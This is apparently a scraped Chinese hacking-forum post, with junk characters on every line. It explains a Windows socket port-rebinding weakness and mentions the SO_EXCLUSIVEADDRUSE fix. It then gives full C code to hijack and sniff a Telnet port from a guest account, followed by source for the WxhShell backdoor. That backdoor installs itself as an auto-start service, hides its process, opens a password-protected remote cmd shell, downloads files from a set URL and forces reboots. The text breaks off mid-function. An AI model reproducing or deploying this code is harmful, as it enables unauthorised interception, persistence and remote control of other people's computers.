在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
MfF~8 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
sRVIH A, ->z54 T
saddr.sin_family = AF_INET;
# M, 7 \mM<\-'p saddr.sin_addr.s_addr = htonl(INADDR_ANY);
|rw%FM{F |LG4=j.l bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
-Lu)'+ %m,6}yt 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Kr'f- { c'6g*%2k 这意味着什么?意味着可以进行如下的攻击:
'XQ`g CF= in <(g@Zg 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
$\o{_?}1 DDT_kK; 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
m ~#! NvE}eA# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
UEs7''6RM %t=kdc0=_ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
~fl@ 2 sKz`aqI 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
>%p{38 !1T\cS#1% 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
hDP/JN8y d4:`@* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
CQ7{1,?2 G2 ]H6G$M #include
%R#L #include
e:E0 "< #include
'oNO-)p\#! #include
@}_WE,r DWORD WINAPI ClientThread(LPVOID lpParam);
8bK|:B#6, int main()
!?f5>Bl {
_EnwME{@ WORD wVersionRequested;
OV2-8ERS DWORD ret;
t-
u VZ!`\ WSADATA wsaData;
(2ur5uk+ BOOL val;
#1c]PX SOCKADDR_IN saddr;
vr#+0:| SOCKADDR_IN scaddr;
@Q&3L~K" int err;
I
+5)Jau^S SOCKET s;
~"pKe~h SOCKET sc;
kh~'Cn "O int caddsize;
Mwb/jTp HANDLE mt;
r?m+.fJB DWORD tid;
^L1L=c;, wVersionRequested = MAKEWORD( 2, 2 );
(Q[fS:U err = WSAStartup( wVersionRequested, &wsaData );
76tdJ!4Z if ( err != 0 ) {
-U~ printf("error!WSAStartup failed!\n");
`.x$7!zLC return -1;
.Xm(D>>k }
!f>d_RG saddr.sin_family = AF_INET;
Y^Nuz/ $p!yhn7 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
}7fZ[J3 ^
PI 5L saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
~vLW.: saddr.sin_port = htons(23);
dpQG[vXe if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{ pu85'DV {
J{ [n?/A{ printf("error!socket failed!\n");
QY/hI` return -1;
DU%w1+u }
4p;aS$Q val = TRUE;
4v
p //SO_REUSEADDR选项就是可以实现端口重绑定的
~/NKw: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
A,su;Qh {
i'd2[A.7I printf("error!setsockopt failed!\n");
,h|q i[7 return -1;
u&G.4QQF }
(>J4^``x= //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
MRU7W4W-~/ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
s}5cSU!| //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
,Vd\m"K{ u4z&!MT} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
jVLA CWH {
2._X|~0a ret=GetLastError();
MT(o"ltQ printf("error!bind failed!\n");
5<I return -1;
_X~87 }
86@c't@ listen(s,2);
|+ N5z while(1)
xI,2LGO {
Sxjub&= caddsize = sizeof(scaddr);
sGvIXD //接受连接请求
q'pK,uNW sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
pEECHk if(sc!=INVALID_SOCKET)
(R`B'OtGg {
\xg]oKbn mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Y`+=p@2O2o if(mt==NULL)
,mRyQS'F {
L
lqM c printf("Thread Creat Failed!\n");
(F7(^.MG break;
G!4(BGx& }
zf3v5Hk }
Q1V9PRZX CloseHandle(mt);
9nu3+.&P }
A+@&" closesocket(s);
$R<Me WSACleanup();
m*e{\)rd# return 0;
zByT$P- }
ceNix!P DWORD WINAPI ClientThread(LPVOID lpParam)
:Hxv6 {
.^J2.>. SOCKET ss = (SOCKET)lpParam;
MX>[^}n SOCKET sc;
=PGs{?+&O unsigned char buf[4096];
c1X1+b, SOCKADDR_IN saddr;
0"~i^ long num;
"~TA SX_? DWORD val;
M$f7sx DWORD ret;
O25lLNmO //如果是隐藏端口应用的话,可以在此处加一些判断
R^{)D3 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
=4d (b ; saddr.sin_family = AF_INET;
8Sz})UZ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Spt?>sm saddr.sin_port = htons(23);
Y8flrM2CwG if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
JTi!Xu5Jq {
5zON}"EC printf("error!socket failed!\n");
8p[)MiC5W^ return -1;
r1RG TEkD }
1CLL%\V val = 100;
s/089jlc if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)O:0]=#)) {
h gJ[LU| > ret = GetLastError();
|>@W
]CX[ return -1;
G[jW<'f }
iQ{G(^sZN if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
_X?^Cy {
ctcS:<r/3@ ret = GetLastError();
V|\7')Qq return -1;
F;^F+H }
e%W$*f if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
o M Zq+> {
U`hY{E; printf("error!socket connect failed!\n");
K98i[,rP closesocket(sc);
YKQr,
Now closesocket(ss);
8QMPY[{ return -1;
$1ndKB8)`J }
+SJd@y@fR while(1)
h=-"SW {
[9:9Ql_h //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
a&vY!vx3 //如果是嗅探内容的话,可以再此处进行内容分析和记录
:6$>_m=i //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
6;b~Ht num = recv(ss,buf,4096,0);
V59(Z if(num>0)
kQ]$%Lk[ send(sc,buf,num,0);
,@5I:X!rR else if(num==0)
-_$$Te break;
(5\NB0 num = recv(sc,buf,4096,0);
tDUwy^j if(num>0)
'uy/o)L send(ss,buf,num,0);
nB .G else if(num==0)
[=~ pe|8: break;
vTn}*d.K= }
Bj7gQ%>H4 closesocket(ss);
Yw0[[N<SW closesocket(sc);
Ewg:HX7<( return 0 ;
R##~*># }
mc4i@<_? y!xE<S&Y W^"AU;^V56 ==========================================================
!>:?rSg* ;| 1$Q!4 下边附上一个代码,,WXhSHELL
Nz)l<S9> {s;U~!3aY ==========================================================
kBN+4Dr/$ }V\N16f #include "stdafx.h"
Jec'`,Y K#. #include <stdio.h>
T1H"\+ #include <string.h>
tsk)zP,< #include <windows.h>
!F?XLekTi #include <winsock2.h>
}\C-}
Q #include <winsvc.h>
&\_iOw8 #include <urlmon.h>
9?k_y ZV uG<}N= #pragma comment (lib, "Ws2_32.lib")
Vx-7\NB #pragma comment (lib, "urlmon.lib")
=G]@+e Dih3}X&jn$ #define MAX_USER 100 // 最大客户端连接数
ZK)%l~J #define BUF_SOCK 200 // sock buffer
33}oO,}t, #define KEY_BUFF 255 // 输入 buffer
?Q&yEGm( 4f<$4d^md #define REBOOT 0 // 重启
}1r m #define SHUTDOWN 1 // 关机
YID4w7| c_>f0i #define DEF_PORT 5000 // 监听端口
Od|$Y+@6 #^]n0! #define REG_LEN 16 // 注册表键长度
mml
z&h #define SVC_LEN 80 // NT服务名长度
x,'!eCKN 5scEc,JCi // 从dll定义API
AoyX\iqQ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
M>/Zbnq typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
aCL!]4K84$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
jq!tT%o*B typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
4
uQT5 K^R,Iu/M // wxhshell配置信息
@$z<i `4 struct WSCFG {
e>AE8T int ws_port; // 监听端口
^4o;$u4R char ws_passstr[REG_LEN]; // 口令
R=KQ int ws_autoins; // 安装标记, 1=yes 0=no
vI@%Fg+D char ws_regname[REG_LEN]; // 注册表键名
|n] d34E char ws_svcname[REG_LEN]; // 服务名
Ox@P6|m char ws_svcdisp[SVC_LEN]; // 服务显示名
^I+)o1%F char ws_svcdesc[SVC_LEN]; // 服务描述信息
*2GEnAZb7n char ws_passmsg[SVC_LEN]; // 密码输入提示信息
J4\ qEO int ws_downexe; // 下载执行标记, 1=yes 0=no
{*ob_oc char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
znHnVYll( char ws_filenam[SVC_LEN]; // 下载后保存的文件名
QNl'ZB\ z0do;_x]E };
m1*O0Tg]" )Dz+X9;g+ // default Wxhshell configuration
F,'exuZ struct WSCFG wscfg={DEF_PORT,
b3VS\[p "xuhuanlingzhe",
-!
K-Htb- 1,
uAWM\? "Wxhshell",
=xS+5( "Wxhshell",
`Ry]y"K "WxhShell Service",
LupkrxV "Wrsky Windows CmdShell Service",
:Q@&5!]>d "Please Input Your Password: ",
x|5k<CiA 1,
b4pm_Um "
http://www.wrsky.com/wxhshell.exe",
=ha{Ziryo "Wxhshell.exe"
&:7ZQ1 };
3=L.uXVb Ft!],n-n* // 消息定义模块
'f?$"U JF char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
{ .?/) char *msg_ws_prompt="\n\r? for help\n\r#>";
71{p+3Z& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
k|!EDze43? char *msg_ws_ext="\n\rExit.";
O
&-wxJ]S char *msg_ws_end="\n\rQuit.";
R`~z0d. char *msg_ws_boot="\n\rReboot...";
9cj9SB4 char *msg_ws_poff="\n\rShutdown...";
+="e]Yh; char *msg_ws_down="\n\rSave to ";
|u ;v27 qQH]`#P char *msg_ws_err="\n\rErr!";
\~_9G{2? char *msg_ws_ok="\n\rOK!";
f@c`8L@g ~b2wBs)r char ExeFile[MAX_PATH];
wLH] <k int nUser = 0;
nxl[d\ap+n HANDLE handles[MAX_USER];
VZl6t;cn int OsIsNt;
Qg<(u?7N .?hP7;hhI SERVICE_STATUS serviceStatus;
1&U>,;]* SERVICE_STATUS_HANDLE hServiceStatusHandle;
$-*!pRaVU BGu?<bET // 函数声明
a 7,C>%I int Install(void);
j ku}QM^ int Uninstall(void);
g"> {9YE int DownloadFile(char *sURL, SOCKET wsh);
`FC( int Boot(int flag);
Kc^;vT>3 void HideProc(void);
LoGVwRmoC int GetOsVer(void);
+PuPO9jKO@ int Wxhshell(SOCKET wsl);
c7FRI0X void TalkWithClient(void *cs);
0a "c2J int CmdShell(SOCKET sock);
TU
1I} , int StartFromService(void);
lgtC |kM= int StartWxhshell(LPSTR lpCmdLine);
` 5C~ D= h)& VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
O7 $hYk VOID WINAPI NTServiceHandler( DWORD fdwControl );
t0T"@t#c m
RO~aD!N // 数据结构和表定义
qhz]Wm P SERVICE_TABLE_ENTRY DispatchTable[] =
QD>"]ap,o {
>:|q&|x- {wscfg.ws_svcname, NTServiceMain},
<|Pun8j {NULL, NULL}
bAm(8nT7w };
EB8\_]6XJ ;y2/-tL? // 自我安装
A,LuD.8 int Install(void)
:B:"NyPA {
6 M*O{f char svExeFile[MAX_PATH];
hHMN6i HKEY key;
&sL&\+=<( strcpy(svExeFile,ExeFile);
iS<I0\D r|qp3x // 如果是win9x系统,修改注册表设为自启动
*^wm1|5 if(!OsIsNt) {
IDG}ZlG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
\9g+^vQg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
*NCl fkZ RegCloseKey(key);
9& 83n(m if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
GJqJlgHe RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\0f{S40 RegCloseKey(key);
W0]gLw9* return 0;
5qP:/*+ }
qDfd. gL }
[F6U+1n8e }
SK#(#OQoh else {
*9{Z$IA9w 7F{3*`/6 // 如果是NT以上系统,安装为系统服务
'5|h)Q5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|]X if (schSCManager!=0)
k<\$OoOZ {
&E=>Hj(dTG SC_HANDLE schService = CreateService
UaB @ (
0ok-IHE< schSCManager,
vTx2E6 wscfg.ws_svcname,
k-{<=>uM wscfg.ws_svcdisp,
sH[ROm SERVICE_ALL_ACCESS,
u!W0P6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
M%kO7>h8 SERVICE_AUTO_START,
Oz%>/zw[h SERVICE_ERROR_NORMAL,
X'qU*Eo svExeFile,
jmFz51 NULL,
l|k`YC x NULL,
/
:n#`o=; NULL,
F
70R1OYU NULL,
fV'ZsJ N NULL
Gvr@|{k );
EpX&R,Rxk if (schService!=0)
FK5<6n,U {
J\M>33zu CloseServiceHandle(schService);
A*/HjTX CloseServiceHandle(schSCManager);
O2%? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
:1bWVM) strcat(svExeFile,wscfg.ws_svcname);
DRi<6Ob if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
`,(,tn_ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ZGKu>yM RegCloseKey(key);
uW}s)j. return 0;
!*%WuyCgr4 }
ZP\-T*)l$ }
/VN f{p CloseServiceHandle(schSCManager);
]33>m|?@ }
?}U(3 }
"\o+v|; -RvQB return 1;
cLsV`@J(k }
@8ppEFw `6]%P(#a // 自我卸载
5MtLT#C3r int Uninstall(void)
n' q4 {
S9~+c HKEY key;
&b%zQ4%d-` PC-"gi=h if(!OsIsNt) {
/*X2c6<d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
I
,z3xU RegDeleteValue(key,wscfg.ws_regname);
`yH<E+ RegCloseKey(key);
tAv@R&W, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
e(GP^oK RegDeleteValue(key,wscfg.ws_regname);
9E"vN RegCloseKey(key);
O%5
r[ return 0;
[VsKa\9u }
HTS%^<u }
E4~<V=2l }
l^pA2yh| else {
li}1S z;|A(*Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
`</ff+Q6 if (schSCManager!=0)
<#u=[_H {
9vGu0Um SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
to DG7XN} if (schService!=0)
dE4L=sTEsy {
M$>1L if(DeleteService(schService)!=0) {
3 +G$-ru CloseServiceHandle(schService);
bj>v|#r^ CloseServiceHandle(schSCManager);
rzm:Yx return 0;
fj;y}t1E] }
n O\"HLM CloseServiceHandle(schService);
0dGAP
}
yl7&5)b#9 CloseServiceHandle(schSCManager);
"2)H'< }
d\R,Q }
.ZVUd84B \%f q return 1;
uF9C-H@: }
8T!+ZQAz OHb[qX\ // 从指定url下载文件
+RYls|f int DownloadFile(char *sURL, SOCKET wsh)
'":lB]hS {
]pNvxXbeW HRESULT hr;
1+jAz`nA:T char seps[]= "/";
]<cK"; char *token;
w1OI4C)~ char *file;
5ft`zf char myURL[MAX_PATH];
117EZg]O char myFILE[MAX_PATH];
m
g4nrr\ V9{]OV% strcpy(myURL,sURL);
Z\ja token=strtok(myURL,seps);
1^7hf;|#g while(token!=NULL)
:7!0OVQla\ {
Z7hgA-t file=token;
7b;I+q token=strtok(NULL,seps);
,+meT`'vn }
7Z\--=;|[: -- %N8L;e GetCurrentDirectory(MAX_PATH,myFILE);
kt["m. strcat(myFILE, "\\");
x7jC)M<k0 strcat(myFILE, file);
(`c
[#0=n send(wsh,myFILE,strlen(myFILE),0);
-bT)]gA2 send(wsh,"...",3,0);
]+XYEv hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
xp}hev^@$ if(hr==S_OK)
2(u,SQ return 0;
%S*{9hm/ else
'rO!AcdLU return 1;
WaVtfg$! V'8s8H }
Q@<S[Qh[. S+atn]eU@ // 系统电源模块
VC\ S'z int Boot(int flag)
\n8]M\< {
T|7}EAR=b HANDLE hToken;
.<x&IJ / TOKEN_PRIVILEGES tkp;
gv)P]{%^ j3{I /m if(OsIsNt) {
)FF>IFHG OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
>*#1ZB_l LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
1 u| wMO tkp.PrivilegeCount = 1;
?'@8kpb tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
5q;GIw^L AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
UEM(@zD] if(flag==REBOOT) {
GqaDL3Niqs if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
7=TF.TW)
return 0;
|)b6>.^ }
)Ch2E|C?=8 else {
4cabP}gBk if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
g`vny )\7/ return 0;
aT)BR?OYSJ }
oX S1QT`B }
gQxbi1!;9 else {
Bm.:^:&k if(flag==REBOOT) {
<acUKfpY if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
xLNtIzx return 0;
E:JJ3X| }
%C~1^9uq else {
2Ga7$q if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
hb zC#@q return 0;
wKZ$iGMbz }
`\T]ej}zvI }
\>:CvTzF x(etb<!jd return 1;
#{?PbBE} }
dJ2Hr;Lc >/kcdWl // win9x进程隐藏模块
uxtWybv void HideProc(void)
7n8~K3~; {
_=Z,E.EN CFzNwgv]z HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Rzbj if ( hKernel != NULL )
s>;v!^N?u {
"?ucO4d pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
!;i`PPRwk ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
-8:&>~4` FreeLibrary(hKernel);
-+ SF }
- }7e:!. ej4W{IN~: return;
y .#")IAF }
qq) rd I/d&G#:~ // 获取操作系统版本
Rn`x7(WA int GetOsVer(void)
b$ve sJ {
}.3nthgz OSVERSIONINFO winfo;
1|kvPo# winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
;1`fC@rI GetVersionEx(&winfo);
sYe?M, if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
{1V($aBl return 1;
"= 6_V?&w else
:3XA!o&.T3 return 0;
@&%'4j&+ }
2z6yn?'&L \>jLRb|7Ts // 客户端句柄模块
x_|UPF int Wxhshell(SOCKET wsl)
4}_j`d/8| {
uw[<5 SOCKET wsh;
*5vV6][ struct sockaddr_in client;
M=1n QF2J DWORD myID;
LR.Hh 6+.uU[x@ while(nUser<MAX_USER)
N^HUijw< {
2^mJ+v< int nSize=sizeof(client);
9o;^[Ql- wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
-yE/f2PgQ if(wsh==INVALID_SOCKET) return 1;
QrB@cK] KM}f:_J*lg handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
qfL~Wp2E; if(handles[nUser]==0)
Y
;u<GOe closesocket(wsh);
4wID]bKM else
5mJ JU nUser++;
GNXHM*~ }
6l5:1|8b,! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
'MEz|Z U}6.h&$ return 0;
OTGofd2zf }
4{hps.$?~ X%Z{K- // 关闭 socket
@y='^DQ* void CloseIt(SOCKET wsh)
9:ze{ c $ {
LQtj~c>X-| closesocket(wsh);
|zQ4u nUser--;
P;P%n ExitThread(0);
g .onTFwN }
0'V5/W )2V: // 客户端请求句柄
eoai(&o0$ void TalkWithClient(void *cs)
W=#:.Xj[ {
!n*
+(lZ J6U$qi SOCKET wsh=(SOCKET)cs;
\R|4( +]x char pwd[SVC_LEN];
HG+%HUO$ char cmd[KEY_BUFF];
]bj&bk# char chr[1];
.q
`Hjmg< int i,j;
Xe<sJ.&Wf ]$Yvj!K*Q while (nUser < MAX_USER) {
u=/{cOJI6 Y%PwktQm if(wscfg.ws_passstr) {
~aMlr6; if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
A*2
bA //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
_AQb6Nb
//ZeroMemory(pwd,KEY_BUFF);
\^ZlG. i=0;
P%{^ i] while(i<SVC_LEN) {
1QLbf*zeIW |+iws8xK? // 设置超时
GliwY_ fd_set FdRead;
k.uMp<)D struct timeval TimeOut;
zaah^.MA| FD_ZERO(&FdRead);
MYla OT FD_SET(wsh,&FdRead);
5]n[]FW TimeOut.tv_sec=8;
V}dJ.I /# TimeOut.tv_usec=0;
FrTi+& < int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
AWP"b?^G| if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
]|MEx{BG- A%`[mc]4# if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
k\WR ] pwd
=chr[0]; 1#.>a$>
if(chr[0]==0xd || chr[0]==0xa) { Z @^9PQG$
pwd=0; Qp/QaVQ+
break; Tav*+
} m=}B,']O
i++; :?/cPg'D
} 8-BflejX
l-SAC3qhG
// 如果是非法用户,关闭 socket Ag&0wN+jTM
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BReJ!|{m}
} kKAP"'v
vH#huZA?7
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g=;%
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |2abmuR0
kL$!E9
while(1) { A<1hOSCz\
n}'=yItVL1
ZeroMemory(cmd,KEY_BUFF); vU767/
95YL]3V
// 自动支持客户端 telnet标准 %]>KvoA
j=0; pgOQIzu
while(j<KEY_BUFF) { KO]T<R
h<
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eu(:`uu
cmd[j]=chr[0]; nHm}zOLc
if(chr[0]==0xa || chr[0]==0xd) { MFb9H{LA
cmd[j]=0; ;~"FLQg@
break; 5<UVD:~z
} s (zL
j++; 8>0e*jC
} +xrr?g
f ` R/
i
// 下载文件 <4P4u*/o
if(strstr(cmd,"http://")) { B5X(ykaX~
send(wsh,msg_ws_down,strlen(msg_ws_down),0); f6p-s
y>
if(DownloadFile(cmd,wsh)) G5CI<KRK#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *q()f\
else @>p<3_Y1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j!]YNH@
} C}_ ojcR
else {
hRs&t,{&
CC L
switch(cmd[0]) { QKr,g
VzY8rI
// 帮助 K?BOvDW"`
case '?': { zxC#0@qX07
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K#pNec
break; \=6l9Lrj>h
} &ge "x{,?
// 安装 4scNSeW
case 'i': { i[?Vin
if(Install()) >AcrG]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^-,xE>3o
else y#q?A,C@n
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4<k9?)~(J
break; /+@p7FqlE
} }Q=!Y>Tc
// 卸载 dvt9u9Vg=
case 'r': { T3k#VNH
if(Uninstall()) vvKEv/pN7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y?(r3E^x
else zmSUw}-4N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _Em.
break; {=F/C,-
} QNpqdwu%h
// 显示 wxhshell 所在路径 bT^I"
case 'p': { %?p1d!
char svExeFile[MAX_PATH]; ~v6OsH%vx
strcpy(svExeFile,"\n\r"); =Ur}~w&H8
strcat(svExeFile,ExeFile); aB7+Tb
send(wsh,svExeFile,strlen(svExeFile),0); ][?G/*k
break; Ry%Mej:
} Tl2C^j
// 重启 @wE5S6! B\
case 'b': { (X?%^^e!
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4}4Pyjh
if(Boot(REBOOT)) 0@H|n^Md#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &NH$nY.r
else { m]5Cq6
closesocket(wsh); F.w5S!5Q
ExitThread(0); .HkL2m
} ?TU }~}
break; t.`@{R$hoA
} `bZ/haU}A
// 关机 fjs
[f'L
case 'd': { f"qga/
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6WU(%
if(Boot(SHUTDOWN)) SVO 3821
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8]M_z:F7F
else { }j*KcB_
closesocket(wsh); N6 (
ExitThread(0); (^u1~1E 5
} (`sH3&Kl
break; "CUty"R8
} mR}6r2O2\Q
// 获取shell DGAX3N;r6{
case 's': { oAPb*;}
CmdShell(wsh); Hhari!RXC
closesocket(wsh); YwZ
Z{+n
ExitThread(0); ^(|vsFzn
break; `"&da#N]
} h $L/<3oP6
// 退出 ;uwRyd
case 'x': { ]cGA~d
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?i06f,-
CloseIt(wsh); `eIenA
break; rmE" rf
} @>E2?CV
// 离开 2ioQb`=
case 'q': { \Dd-Xn_b
send(wsh,msg_ws_end,strlen(msg_ws_end),0); {
T-'t/0e(
closesocket(wsh); Gcig*5
WSACleanup(); BbgnqzU
exit(1); 1#0{@35
break; ++V=s\d7
} +;#Y]xy:
} 7tcPwCc{
} Kd=%tNp
? P(
ZA
// 提示信息 BI $
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m3mp/g.>
} !!`!|w
} 't6V:X
/)4I|"}R0I
return; _g~qu
[1
} yp66{o
{3.r6ZwCn
// shell模块句柄 OU/MiyP2
int CmdShell(SOCKET sock) "87ghj_}
{ m<0&~rg
STARTUPINFO si; XI9js{p
ZeroMemory(&si,sizeof(si)); 1;mW,l'`
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U5He?
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; IaT$6\>
PROCESS_INFORMATION ProcessInfo; %YSu8G_t
char cmdline[]="cmd"; AKRTBjG"
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); av$/Om:
return 0; SL;9Q[
} LWHd~"eU
9\]^|?zQ`
// 自身启动模式 :@!ic<p
int StartFromService(void) qfK`MhA}
{ !X<~-G2)l
typedef struct ])Qs {hs~s
{ $pFo Rv
DWORD ExitStatus; w);6K[+;
DWORD PebBaseAddress; FDv+*sZ
DWORD AffinityMask; *0>mB
DWORD BasePriority; 61jI
ULONG UniqueProcessId; K"[AxB'F
